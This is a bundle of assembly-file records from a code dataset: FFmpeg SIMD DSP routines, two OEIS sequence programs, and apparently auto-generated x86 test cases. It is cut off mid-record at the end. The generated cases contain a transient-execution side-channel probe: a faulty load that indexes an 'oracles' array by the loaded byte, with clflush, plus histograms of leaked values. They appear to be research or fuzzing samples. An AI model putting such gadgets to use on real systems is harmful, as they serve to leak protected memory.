{"size":6241,"ext":"asm","lang":"Assembly","max_stars_count":9.0,"content":".global s_prepare_buffers\ns_prepare_buffers:\npush %r12\npush %r15\npush %r8\npush %rbp\npush %rcx\npush %rdi\npush %rsi\nlea addresses_WC_ht+0xcfac, %rsi\nlea addresses_normal_ht+0x65c6, %rdi\nnop\nnop\nnop\nnop\ncmp %rbp, %rbp\nmov $106, %rcx\nrep movsq\nnop\nnop\nsub $45918, %rcx\nlea addresses_UC_ht+0x26c6, %r15\nnop\nnop\nnop\nand $2795, %rdi\nmovw $0x6162, (%r15)\nand $32206, %r12\nlea addresses_UC_ht+0x1b8c6, %rcx\nnop\nnop\nnop\ninc %r15\nmovw $0x6162, (%rcx)\nxor $24879, %rsi\nlea addresses_D_ht+0xcd46, %rsi\nlea addresses_WT_ht+0x17fc6, %rdi\nnop\nxor %rbp, %rbp\nmov $11, %rcx\nrep movsq\nnop\nnop\nnop\nnop\nand %rsi, %rsi\nlea addresses_UC_ht+0x1be46, %rsi\nlea addresses_UC_ht+0x19382, %rdi\nnop\nnop\nnop\nnop\nsub $427, %r8\nmov $97, %rcx\nrep movsw\nnop\ninc %rsi\nlea addresses_A_ht+0x1198e, %rdi\nnop\nnop\nnop\nnop\nnop\nand $8897, %rsi\nmovw $0x6162, (%rdi)\nnop\nnop\nnop\nadd %rbp, %rbp\nlea addresses_D_ht+0xd9c6, %r15\nnop\nnop\nnop\nnop\nnop\nand %rcx, %rcx\nmovb $0x61, (%r15)\nnop\nnop\nnop\ninc %rsi\nlea addresses_WC_ht+0x1aeba, %r12\nnop\nand $61364, %rcx\nvmovups (%r12), %ymm6\nvextracti128 $0, %ymm6, %xmm6\nvpextrq $1, %xmm6, %r8\nnop\nnop\nnop\nnop\nnop\nxor %r15, %r15\nlea addresses_D_ht+0xe7c6, %rcx\nclflush (%rcx)\nnop\nxor $269, %rbp\nmov $0x6162636465666768, %rsi\nmovq %rsi, (%rcx)\nnop\nnop\nnop\nxor %rbp, %rbp\npop %rsi\npop %rdi\npop %rcx\npop %rbp\npop %r8\npop %r15\npop %r12\nret\n\n .global s_faulty_load\ns_faulty_load:\npush %r12\npush %r14\npush %r9\npush %rax\npush %rbp\n\n\/\/ Faulty Load\nlea addresses_A+0xa7c6, %r9\nnop\nnop\nnop\nnop\nand $56228, %rbp\nvmovaps (%r9), %ymm0\nvextracti128 $1, %ymm0, %xmm0\nvpextrq $1, %xmm0, %r12\nlea oracles, %r14\nand $0xff, %r12\nshlq $12, %r12\nmov (%r14,%r12,1), %r12\npop %rbp\npop %rax\npop %r9\npop %r14\npop %r12\nret\n\n\/*\n\n[REF]\n{'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}\n[Faulty Load]\n{'src': {'type': 'addresses_A', 'AVXalign': True, 'size': 32, 'NT': True, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}\n\n{'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}}\n{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 8}}\n{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 8}}\n{'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}}\n{'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': True}}\n{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 2}}\n{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 9}}\n{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}\n{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 10}}\n{'08': 9, '48': 16652, '72': 12, '00': 5156}\n48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 00 48 00 48 00 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 00 48 48 48 48 48 48 00 00 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 00 48 48 00 00 00 48 48 48 48 48 00 48 00 00 48 48 48 48 48 48 48 00 48 48 48 00 48 00 00 48 48 00 00 48 48 48 48 48 48 48 48 48 48 00 00 00 00 48 48 48 00 00 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 00 48 00 00 48 48 48 48 48 48 48 00 00 48 48 48 00 48 48 00 48 48 00 00 48 00 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 00 00 48 48 48 48 00 48 48 48 48 48 48 00 48 48 48 48 48 48 48 00 48 48 00 00 48 48 48 00 00 48 00 00 48 00 48 48 00 00 48 48 48 00 48 48 48 48 48 48 48 48 48 48 00 00 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 00 00 00 48 48 48 48 00 48 00 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 00 00 48 48 48 48 48 48 00 00 48 48 00 00 48 48 48 00 48 48 48 00 00 48 00 00 48 48 00 00 48 48 00 00 48 00 00 48 00 00 48 00 00 48 00 00 00 48 00 48 48 48 00 48 48 48 00 48 48 48 00 48 48 48 00 00 48 00 00 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 00 48 48 48 48 48 00 48 48 00 48 48 48 48 00 00 48 48 48 48 00 00 48 00 48 48 00 00 00 48 48 48 48 48 00 48 48 48 48 48 00 00 48 00 48 48 48 48 48 48 48 48 48 48 48 48 00 00 48 48 48 48 48 48 48 48 48 48 00 48 48 48 00 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 00 00 00 48 48 00 48 48 48 48 48 00 00 00 48 00 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 00 48 48 00 00 48 48 00 48 00 48 48 48 48 48 00 00 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 00 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 72 48 48 48 48 48 48 48 48 48 00 00 48 00 48 00 00 48 48 00 00 48 48 00 48 48 48 48 00 48 48 00 00 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 00 00 00 48 48 48 00 48 00 48 48 00 00 48 00 00 00 48 48 00 48 48 48 48 48 48 48 00 00 48 48 48 48 00 00 48 48 48 00 00 48 00 00 48 48 48 48 48 48 48 48 00 00 48 48 48 48 48 48 48 48 48 48 00 00 48 48 48 00 48 00 48 48 48 00 48 48 00 00 48 00 48 48 48 00 00 48 48 00 00 48 48 00 48 00 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 00 00 00 48 48 48 00 00 48 48 48 48 48 48 00 48 48 48 00 00 48 48 00 00 48 48 00 00 48 48 48 48 00 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 00 00 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 00 00 48 48 48 00 00 48 00 00 00 48 48 48 00 00 00 48 48 00 00 48 00 00 48 48 00 48 48 00 48 48 48 48 48 48 48 48 48 00 48 48 48 48 00 48 48 00 00 00 00 48 00 00 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48\n*\/\n","avg_line_length":38.7639751553,"max_line_length":2999,"alphanum_fraction":0.6575869252} {"size":730,"ext":"asm","lang":"Assembly","max_stars_count":22.0,"content":"; A177065: a(n) = (8*n+3)*(8*n+5).\n; 15,143,399,783,1295,1935,2703,3599,4623,5775,7055,8463,9999,11663,13455,15375,17423,19599,21903,24335,26895,29583,32399,35343,38415,41615,44943,48399,51983,55695,59535,63503,67599,71823,76175,80655,85263,89999,94863,99855,104975,110223,115599,121103,126735,132495,138383,144399,150543,156815,163215,169743,176399,183183,190095,197135,204303,211599,219023,226575,234255,242063,249999,258063,266255,274575,283023,291599,300303,309135,318095,327183,336399,345743,355215,364815,374543,384399,394383,404495,414735,425103,435599,446223,456975,467855,478863,489999,501263,512655,524175,535823,547599,559503,571535,583695,595983,608399,620943,633615\n\nsub $1,$0\nbin $1,2\nmul $1,128\nadd $1,15\nmov $0,$1\n","avg_line_length":81.1111111111,"max_line_length":643,"alphanum_fraction":0.801369863} {"size":405,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"; A171613: a(n) = n^2 + sum of the digits of n^2.\n; 0,2,8,18,23,32,45,62,74,90,101,125,153,185,212,234,269,308,333,371,404,450,500,545,594,638,695,747,803,854,909,977,1031,1107,1169,1235,1314,1388,1457,1530,1607,1697,1782,1871,1955,2034,2126,2222,2313,2408,2507\n\nmov $3,$0\npow $0,2\nlpb $0,1\n mov $2,$0\n div $0,10\n mod $2,10\n sub $2,1\n add $5,$2\n add $5,1\nlpe\nmov $1,$5\nmov $4,$3\nmul $4,$3\nadd $1,$4\n","avg_line_length":22.5,"max_line_length":211,"alphanum_fraction":0.637037037} {"size":15891,"ext":"asm","lang":"Assembly","max_stars_count":7.0,"content":";******************************************************************************\n;* MMX optimized DSP utils\n;* Copyright (c) 2008 Loren Merritt\n;* Copyright (c) 2003-2013 Michael Niedermayer\n;* Copyright (c) 2013 Daniel Kang\n;*\n;* This file is part of FFmpeg.\n;*\n;* FFmpeg is free software; you can redistribute it and\/or\n;* modify it under the terms of the GNU Lesser General Public\n;* License as published by the Free Software Foundation; either\n;* version 2.1 of the License, or (at your option) any later version.\n;*\n;* FFmpeg is distributed in the hope that it will be useful,\n;* but WITHOUT ANY WARRANTY; without even the implied warranty of\n;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n;* Lesser General Public License for more details.\n;*\n;* You should have received a copy of the GNU Lesser General Public\n;* License along with FFmpeg; if not, write to the Free Software\n;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n;******************************************************************************\n\n%include \"libavutil\/x86\/x86util.asm\"\n\nSECTION_RODATA\npb_f: times 16 db 15\npb_zzzzzzzz77777777: times 8 db -1\npb_7: times 8 db 7\npb_zzzz3333zzzzbbbb: db -1,-1,-1,-1,3,3,3,3,-1,-1,-1,-1,11,11,11,11\npb_zz11zz55zz99zzdd: db -1,-1,1,1,-1,-1,5,5,-1,-1,9,9,-1,-1,13,13\npb_revwords: SHUFFLE_MASK_W 7, 6, 5, 4, 3, 2, 1, 0\npd_16384: times 4 dd 16384\npb_bswap32: db 3, 2, 1, 0, 7, 6, 5, 4, 11, 10, 9, 8, 15, 14, 13, 12\n\nSECTION_TEXT\n\n%macro SCALARPRODUCT 0\n; int scalarproduct_int16(int16_t *v1, int16_t *v2, int order)\ncglobal scalarproduct_int16, 3,3,3, v1, v2, order\n shl orderq, 1\n add v1q, orderq\n add v2q, orderq\n neg orderq\n pxor m2, m2\n.loop:\n movu m0, [v1q + orderq]\n movu m1, [v1q + orderq + mmsize]\n pmaddwd m0, [v2q + orderq]\n pmaddwd m1, [v2q + orderq + mmsize]\n paddd m2, m0\n paddd m2, m1\n add orderq, mmsize*2\n jl .loop\n%if mmsize == 16\n movhlps m0, m2\n paddd m2, m0\n pshuflw m0, m2, 0x4e\n%else\n pshufw m0, m2, 0x4e\n%endif\n paddd m2, m0\n movd eax, m2\n RET\n\n; int scalarproduct_and_madd_int16(int16_t *v1, int16_t *v2, int16_t *v3, int order, int mul)\ncglobal scalarproduct_and_madd_int16, 4,4,8, v1, v2, v3, order, mul\n shl orderq, 1\n movd m7, mulm\n%if mmsize == 16\n pshuflw m7, m7, 0\n punpcklqdq m7, m7\n%else\n pshufw m7, m7, 0\n%endif\n pxor m6, m6\n add v1q, orderq\n add v2q, orderq\n add v3q, orderq\n neg orderq\n.loop:\n movu m0, [v2q + orderq]\n movu m1, [v2q + orderq + mmsize]\n mova m4, [v1q + orderq]\n mova m5, [v1q + orderq + mmsize]\n movu m2, [v3q + orderq]\n movu m3, [v3q + orderq + mmsize]\n pmaddwd m0, m4\n pmaddwd m1, m5\n pmullw m2, m7\n pmullw m3, m7\n paddd m6, m0\n paddd m6, m1\n paddw m2, m4\n paddw m3, m5\n mova [v1q + orderq], m2\n mova [v1q + orderq + mmsize], m3\n add orderq, mmsize*2\n jl .loop\n%if mmsize == 16\n movhlps m0, m6\n paddd m6, m0\n pshuflw m0, m6, 0x4e\n%else\n pshufw m0, m6, 0x4e\n%endif\n paddd m6, m0\n movd eax, m6\n RET\n%endmacro\n\nINIT_MMX mmxext\nSCALARPRODUCT\nINIT_XMM sse2\nSCALARPRODUCT\n\n%macro SCALARPRODUCT_LOOP 1\nalign 16\n.loop%1:\n sub orderq, mmsize*2\n%if %1\n mova m1, m4\n mova m4, [v2q + orderq]\n mova m0, [v2q + orderq + mmsize]\n palignr m1, m0, %1\n palignr m0, m4, %1\n mova m3, m5\n mova m5, [v3q + orderq]\n mova m2, [v3q + orderq + mmsize]\n palignr m3, m2, %1\n palignr m2, m5, %1\n%else\n mova m0, [v2q + orderq]\n mova m1, [v2q + orderq + mmsize]\n mova m2, [v3q + orderq]\n mova m3, [v3q + orderq + mmsize]\n%endif\n %define t0 [v1q + orderq]\n %define t1 [v1q + orderq + mmsize]\n%if ARCH_X86_64\n mova m8, t0\n mova m9, t1\n %define t0 m8\n %define t1 m9\n%endif\n pmaddwd m0, t0\n pmaddwd m1, t1\n pmullw m2, m7\n pmullw m3, m7\n paddw m2, t0\n paddw m3, t1\n paddd m6, m0\n paddd m6, m1\n mova [v1q + orderq], m2\n mova [v1q + orderq + mmsize], m3\n jg .loop%1\n%if %1\n jmp .end\n%endif\n%endmacro\n\n; int scalarproduct_and_madd_int16(int16_t *v1, int16_t *v2, int16_t *v3, int order, int mul)\nINIT_XMM ssse3\ncglobal scalarproduct_and_madd_int16, 4,5,10, v1, v2, v3, order, mul\n shl orderq, 1\n movd m7, mulm\n pshuflw m7, m7, 0\n punpcklqdq m7, m7\n pxor m6, m6\n mov r4d, v2d\n and r4d, 15\n and v2q, ~15\n and v3q, ~15\n mova m4, [v2q + orderq]\n mova m5, [v3q + orderq]\n ; linear is faster than branch tree or jump table, because the branches taken are cyclic (i.e. predictable)\n cmp r4d, 0\n je .loop0\n cmp r4d, 2\n je .loop2\n cmp r4d, 4\n je .loop4\n cmp r4d, 6\n je .loop6\n cmp r4d, 8\n je .loop8\n cmp r4d, 10\n je .loop10\n cmp r4d, 12\n je .loop12\nSCALARPRODUCT_LOOP 14\nSCALARPRODUCT_LOOP 12\nSCALARPRODUCT_LOOP 10\nSCALARPRODUCT_LOOP 8\nSCALARPRODUCT_LOOP 6\nSCALARPRODUCT_LOOP 4\nSCALARPRODUCT_LOOP 2\nSCALARPRODUCT_LOOP 0\n.end:\n movhlps m0, m6\n paddd m6, m0\n pshuflw m0, m6, 0x4e\n paddd m6, m0\n movd eax, m6\n RET\n\n\n;-----------------------------------------------------------------------------\n; void ff_apply_window_int16(int16_t *output, const int16_t *input,\n; const int16_t *window, unsigned int len)\n;-----------------------------------------------------------------------------\n\n%macro REVERSE_WORDS 1-2\n%if cpuflag(ssse3) && notcpuflag(atom)\n pshufb %1, %2\n%elif cpuflag(sse2)\n pshuflw %1, %1, 0x1B\n pshufhw %1, %1, 0x1B\n pshufd %1, %1, 0x4E\n%elif cpuflag(mmxext)\n pshufw %1, %1, 0x1B\n%endif\n%endmacro\n\n%macro MUL16FIXED 3\n%if cpuflag(ssse3) ; dst, src, unused\n; dst = ((dst * src) + (1<<14)) >> 15\n pmulhrsw %1, %2\n%elif cpuflag(mmxext) ; dst, src, temp\n; dst = (dst * src) >> 15\n; pmulhw cuts off the bottom bit, so we have to lshift by 1 and add it back\n; in from the pmullw result.\n mova %3, %1\n pmulhw %1, %2\n pmullw %3, %2\n psrlw %3, 15\n psllw %1, 1\n por %1, %3\n%endif\n%endmacro\n\n%macro APPLY_WINDOW_INT16 1 ; %1 bitexact version\n%if %1\ncglobal apply_window_int16, 4,5,6, output, input, window, offset, offset2\n%else\ncglobal apply_window_int16_round, 4,5,6, output, input, window, offset, offset2\n%endif\n lea offset2q, [offsetq-mmsize]\n%if cpuflag(ssse3) && notcpuflag(atom)\n mova m5, [pb_revwords]\n ALIGN 16\n%elif %1\n mova m5, [pd_16384]\n%endif\n.loop:\n%if cpuflag(ssse3)\n ; This version does the 16x16->16 multiplication in-place without expanding\n ; to 32-bit. The ssse3 version is bit-identical.\n mova m0, [windowq+offset2q]\n mova m1, [ inputq+offset2q]\n pmulhrsw m1, m0\n REVERSE_WORDS m0, m5\n pmulhrsw m0, [ inputq+offsetq ]\n mova [outputq+offset2q], m1\n mova [outputq+offsetq ], m0\n%elif %1\n ; This version expands 16-bit to 32-bit, multiplies by the window,\n ; adds 16384 for rounding, right shifts 15, then repacks back to words to\n ; save to the output. The window is reversed for the second half.\n mova m3, [windowq+offset2q]\n mova m4, [ inputq+offset2q]\n pxor m0, m0\n punpcklwd m0, m3\n punpcklwd m1, m4\n pmaddwd m0, m1\n paddd m0, m5\n psrad m0, 15\n pxor m2, m2\n punpckhwd m2, m3\n punpckhwd m1, m4\n pmaddwd m2, m1\n paddd m2, m5\n psrad m2, 15\n packssdw m0, m2\n mova [outputq+offset2q], m0\n REVERSE_WORDS m3\n mova m4, [ inputq+offsetq]\n pxor m0, m0\n punpcklwd m0, m3\n punpcklwd m1, m4\n pmaddwd m0, m1\n paddd m0, m5\n psrad m0, 15\n pxor m2, m2\n punpckhwd m2, m3\n punpckhwd m1, m4\n pmaddwd m2, m1\n paddd m2, m5\n psrad m2, 15\n packssdw m0, m2\n mova [outputq+offsetq], m0\n%else\n ; This version does the 16x16->16 multiplication in-place without expanding\n ; to 32-bit. The mmxext and sse2 versions do not use rounding, and\n ; therefore are not bit-identical to the C version.\n mova m0, [windowq+offset2q]\n mova m1, [ inputq+offset2q]\n mova m2, [ inputq+offsetq ]\n MUL16FIXED m1, m0, m3\n REVERSE_WORDS m0\n MUL16FIXED m2, m0, m3\n mova [outputq+offset2q], m1\n mova [outputq+offsetq ], m2\n%endif\n add offsetd, mmsize\n sub offset2d, mmsize\n jae .loop\n REP_RET\n%endmacro\n\nINIT_MMX mmxext\nAPPLY_WINDOW_INT16 0\nINIT_XMM sse2\nAPPLY_WINDOW_INT16 0\n\nINIT_MMX mmxext\nAPPLY_WINDOW_INT16 1\nINIT_XMM sse2\nAPPLY_WINDOW_INT16 1\nINIT_XMM ssse3\nAPPLY_WINDOW_INT16 1\nINIT_XMM ssse3, atom\nAPPLY_WINDOW_INT16 1\n\n\n; void add_hfyu_median_prediction_mmxext(uint8_t *dst, const uint8_t *top, const uint8_t *diff, int w, int *left, int *left_top)\nINIT_MMX mmxext\ncglobal add_hfyu_median_prediction, 6,6,0, dst, top, diff, w, left, left_top\n movq mm0, [topq]\n movq mm2, mm0\n movd mm4, [left_topq]\n psllq mm2, 8\n movq mm1, mm0\n por mm4, mm2\n movd mm3, [leftq]\n psubb mm0, mm4 ; t-tl\n add dstq, wq\n add topq, wq\n add diffq, wq\n neg wq\n jmp .skip\n.loop:\n movq mm4, [topq+wq]\n movq mm0, mm4\n psllq mm4, 8\n por mm4, mm1\n movq mm1, mm0 ; t\n psubb mm0, mm4 ; t-tl\n.skip:\n movq mm2, [diffq+wq]\n%assign i 0\n%rep 8\n movq mm4, mm0\n paddb mm4, mm3 ; t-tl+l\n movq mm5, mm3\n pmaxub mm3, mm1\n pminub mm5, mm1\n pminub mm3, mm4\n pmaxub mm3, mm5 ; median\n paddb mm3, mm2 ; +residual\n%if i==0\n movq mm7, mm3\n psllq mm7, 56\n%else\n movq mm6, mm3\n psrlq mm7, 8\n psllq mm6, 56\n por mm7, mm6\n%endif\n%if i<7\n psrlq mm0, 8\n psrlq mm1, 8\n psrlq mm2, 8\n%endif\n%assign i i+1\n%endrep\n movq [dstq+wq], mm7\n add wq, 8\n jl .loop\n movzx r2d, byte [dstq-1]\n mov [leftq], r2d\n movzx r2d, byte [topq-1]\n mov [left_topq], r2d\n RET\n\n\n%macro ADD_HFYU_LEFT_LOOP 2 ; %1 = dst_is_aligned, %2 = src_is_aligned\n add srcq, wq\n add dstq, wq\n neg wq\n%%.loop:\n%if %2\n mova m1, [srcq+wq]\n%else\n movu m1, [srcq+wq]\n%endif\n mova m2, m1\n psllw m1, 8\n paddb m1, m2\n mova m2, m1\n pshufb m1, m3\n paddb m1, m2\n pshufb m0, m5\n mova m2, m1\n pshufb m1, m4\n paddb m1, m2\n%if mmsize == 16\n mova m2, m1\n pshufb m1, m6\n paddb m1, m2\n%endif\n paddb m0, m1\n%if %1\n mova [dstq+wq], m0\n%else\n movq [dstq+wq], m0\n movhps [dstq+wq+8], m0\n%endif\n add wq, mmsize\n jl %%.loop\n mov eax, mmsize-1\n sub eax, wd\n movd m1, eax\n pshufb m0, m1\n movd eax, m0\n RET\n%endmacro\n\n; int add_hfyu_left_prediction(uint8_t *dst, const uint8_t *src, int w, int left)\nINIT_MMX ssse3\ncglobal add_hfyu_left_prediction, 3,3,7, dst, src, w, left\n.skip_prologue:\n mova m5, [pb_7]\n mova m4, [pb_zzzz3333zzzzbbbb]\n mova m3, [pb_zz11zz55zz99zzdd]\n movd m0, leftm\n psllq m0, 56\n ADD_HFYU_LEFT_LOOP 1, 1\n\nINIT_XMM sse4\ncglobal add_hfyu_left_prediction, 3,3,7, dst, src, w, left\n mova m5, [pb_f]\n mova m6, [pb_zzzzzzzz77777777]\n mova m4, [pb_zzzz3333zzzzbbbb]\n mova m3, [pb_zz11zz55zz99zzdd]\n movd m0, leftm\n pslldq m0, 15\n test srcq, 15\n jnz .src_unaligned\n test dstq, 15\n jnz .dst_unaligned\n ADD_HFYU_LEFT_LOOP 1, 1\n.dst_unaligned:\n ADD_HFYU_LEFT_LOOP 0, 1\n.src_unaligned:\n ADD_HFYU_LEFT_LOOP 0, 0\n\n\n;-----------------------------------------------------------------------------\n; void ff_vector_clip_int32(int32_t *dst, const int32_t *src, int32_t min,\n; int32_t max, unsigned int len)\n;-----------------------------------------------------------------------------\n\n; %1 = number of xmm registers used\n; %2 = number of inline load\/process\/store loops per asm loop\n; %3 = process 4*mmsize (%3=0) or 8*mmsize (%3=1) bytes per loop\n; %4 = CLIPD function takes min\/max as float instead of int (CLIPD_SSE2)\n; %5 = suffix\n%macro VECTOR_CLIP_INT32 4-5\ncglobal vector_clip_int32%5, 5,5,%1, dst, src, min, max, len\n%if %4\n cvtsi2ss m4, minm\n cvtsi2ss m5, maxm\n%else\n movd m4, minm\n movd m5, maxm\n%endif\n SPLATD m4\n SPLATD m5\n.loop:\n%assign %%i 1\n%rep %2\n mova m0, [srcq+mmsize*0*%%i]\n mova m1, [srcq+mmsize*1*%%i]\n mova m2, [srcq+mmsize*2*%%i]\n mova m3, [srcq+mmsize*3*%%i]\n%if %3\n mova m7, [srcq+mmsize*4*%%i]\n mova m8, [srcq+mmsize*5*%%i]\n mova m9, [srcq+mmsize*6*%%i]\n mova m10, [srcq+mmsize*7*%%i]\n%endif\n CLIPD m0, m4, m5, m6\n CLIPD m1, m4, m5, m6\n CLIPD m2, m4, m5, m6\n CLIPD m3, m4, m5, m6\n%if %3\n CLIPD m7, m4, m5, m6\n CLIPD m8, m4, m5, m6\n CLIPD m9, m4, m5, m6\n CLIPD m10, m4, m5, m6\n%endif\n mova [dstq+mmsize*0*%%i], m0\n mova [dstq+mmsize*1*%%i], m1\n mova [dstq+mmsize*2*%%i], m2\n mova [dstq+mmsize*3*%%i], m3\n%if %3\n mova [dstq+mmsize*4*%%i], m7\n mova [dstq+mmsize*5*%%i], m8\n mova [dstq+mmsize*6*%%i], m9\n mova [dstq+mmsize*7*%%i], m10\n%endif\n%assign %%i %%i+1\n%endrep\n add srcq, mmsize*4*(%2+%3)\n add dstq, mmsize*4*(%2+%3)\n sub lend, mmsize*(%2+%3)\n jg .loop\n REP_RET\n%endmacro\n\nINIT_MMX mmx\n%define CLIPD CLIPD_MMX\nVECTOR_CLIP_INT32 0, 1, 0, 0\nINIT_XMM sse2\nVECTOR_CLIP_INT32 6, 1, 0, 0, _int\n%define CLIPD CLIPD_SSE2\nVECTOR_CLIP_INT32 6, 2, 0, 1\nINIT_XMM sse4\n%define CLIPD CLIPD_SSE41\n%ifdef m8\nVECTOR_CLIP_INT32 11, 1, 1, 0\n%else\nVECTOR_CLIP_INT32 6, 1, 0, 0\n%endif\n\n; %1 = aligned\/unaligned\n%macro BSWAP_LOOPS 1\n mov r3, r2\n sar r2, 3\n jz .left4_%1\n.loop8_%1:\n mov%1 m0, [r1 + 0]\n mov%1 m1, [r1 + 16]\n%if cpuflag(ssse3)\n pshufb m0, m2\n pshufb m1, m2\n mov%1 [r0 + 0], m0\n mov%1 [r0 + 16], m1\n%else\n pshuflw m0, m0, 10110001b\n pshuflw m1, m1, 10110001b\n pshufhw m0, m0, 10110001b\n pshufhw m1, m1, 10110001b\n mova m2, m0\n mova m3, m1\n psllw m0, 8\n psllw m1, 8\n psrlw m2, 8\n psrlw m3, 8\n por m2, m0\n por m3, m1\n mov%1 [r0 + 0], m2\n mov%1 [r0 + 16], m3\n%endif\n add r0, 32\n add r1, 32\n dec r2\n jnz .loop8_%1\n.left4_%1:\n mov r2, r3\n and r3, 4\n jz .left\n mov%1 m0, [r1]\n%if cpuflag(ssse3)\n pshufb m0, m2\n mov%1 [r0], m0\n%else\n pshuflw m0, m0, 10110001b\n pshufhw m0, m0, 10110001b\n mova m2, m0\n psllw m0, 8\n psrlw m2, 8\n por m2, m0\n mov%1 [r0], m2\n%endif\n add r1, 16\n add r0, 16\n%endmacro\n\n; void bswap_buf(uint32_t *dst, const uint32_t *src, int w);\n%macro BSWAP32_BUF 0\n%if cpuflag(ssse3)\ncglobal bswap32_buf, 3,4,3\n mov r3, r1\n mova m2, [pb_bswap32]\n%else\ncglobal bswap32_buf, 3,4,5\n mov r3, r1\n%endif\n or r3, r0\n and r3, 15\n jz .start_align\n BSWAP_LOOPS u\n jmp .left\n.start_align:\n BSWAP_LOOPS a\n.left:\n%if cpuflag(ssse3)\n mov r3, r2\n and r2, 2\n jz .left1\n movq m0, [r1]\n pshufb m0, m2\n movq [r0], m0\n add r1, 8\n add r0, 8\n.left1:\n and r3, 1\n jz .end\n mov r2d, [r1]\n bswap r2d\n mov [r0], r2d\n%else\n and r2, 3\n jz .end\n.loop2:\n mov r3d, [r1]\n bswap r3d\n mov [r0], r3d\n add r1, 4\n add r0, 4\n dec r2\n jnz .loop2\n%endif\n.end:\n RET\n%endmacro\n\nINIT_XMM sse2\nBSWAP32_BUF\n\nINIT_XMM ssse3\nBSWAP32_BUF\n","avg_line_length":24.2610687023,"max_line_length":128,"alphanum_fraction":0.5673022466} {"size":7302,"ext":"asm","lang":"Assembly","max_stars_count":9.0,"content":".global s_prepare_buffers\ns_prepare_buffers:\npush %r11\npush %r9\npush %rax\npush %rbp\npush %rcx\npush %rdi\npush %rdx\npush %rsi\nlea addresses_D_ht+0x18b1d, %rsi\nlea addresses_UC_ht+0x1d71d, %rdi\nnop\nsub $44945, %r11\nmov $110, %rcx\nrep movsq\nnop\nnop\nnop\nnop\nnop\nand $27644, %rax\nlea addresses_A_ht+0x1e1d, %rax\nnop\ncmp %rbp, %rbp\nmovl $0x61626364, (%rax)\nxor %rsi, %rsi\nlea addresses_WT_ht+0x1a81d, %rdi\nnop\nnop\nnop\nnop\nnop\nxor %rdx, %rdx\nmov (%rdi), %ax\nnop\nnop\nnop\nnop\ndec %rcx\nlea addresses_WC_ht+0x14e1d, %rdi\nclflush (%rdi)\nnop\nnop\nnop\nnop\ncmp %rcx, %rcx\nmovb (%rdi), %al\nnop\nnop\nnop\nnop\nnop\nadd %rsi, %rsi\nlea addresses_UC_ht+0x1b4d5, %rdx\nnop\nsub %rsi, %rsi\nmovb (%rdx), %al\nnop\nnop\nnop\nadd $46348, %rdx\nlea addresses_UC_ht+0xab1d, %r11\nnop\nnop\nadd %rax, %rax\nmov $0x6162636465666768, %rdx\nmovq %rdx, %xmm5\nand $0xffffffffffffffc0, %r11\nmovaps %xmm5, (%r11)\nnop\nand $29260, %rdi\nlea addresses_UC_ht+0xe49d, %rdx\nnop\nnop\nnop\nnop\nnop\nadd %r11, %r11\nmov $0x6162636465666768, %rsi\nmovq %rsi, %xmm3\nmovups %xmm3, (%rdx)\nnop\nsub %rdx, %rdx\nlea addresses_normal_ht+0x2c99, %rsi\nlea addresses_WC_ht+0x1d3ed, %rdi\nclflush (%rdi)\nnop\nnop\nadd $17223, %r9\nmov $11, %rcx\nrep movsw\nnop\nnop\nsub $13637, %rcx\nlea addresses_A_ht+0x4683, %r9\nnop\nnop\nnop\nnop\nnop\nsub %rdi, %rdi\nmovl $0x61626364, 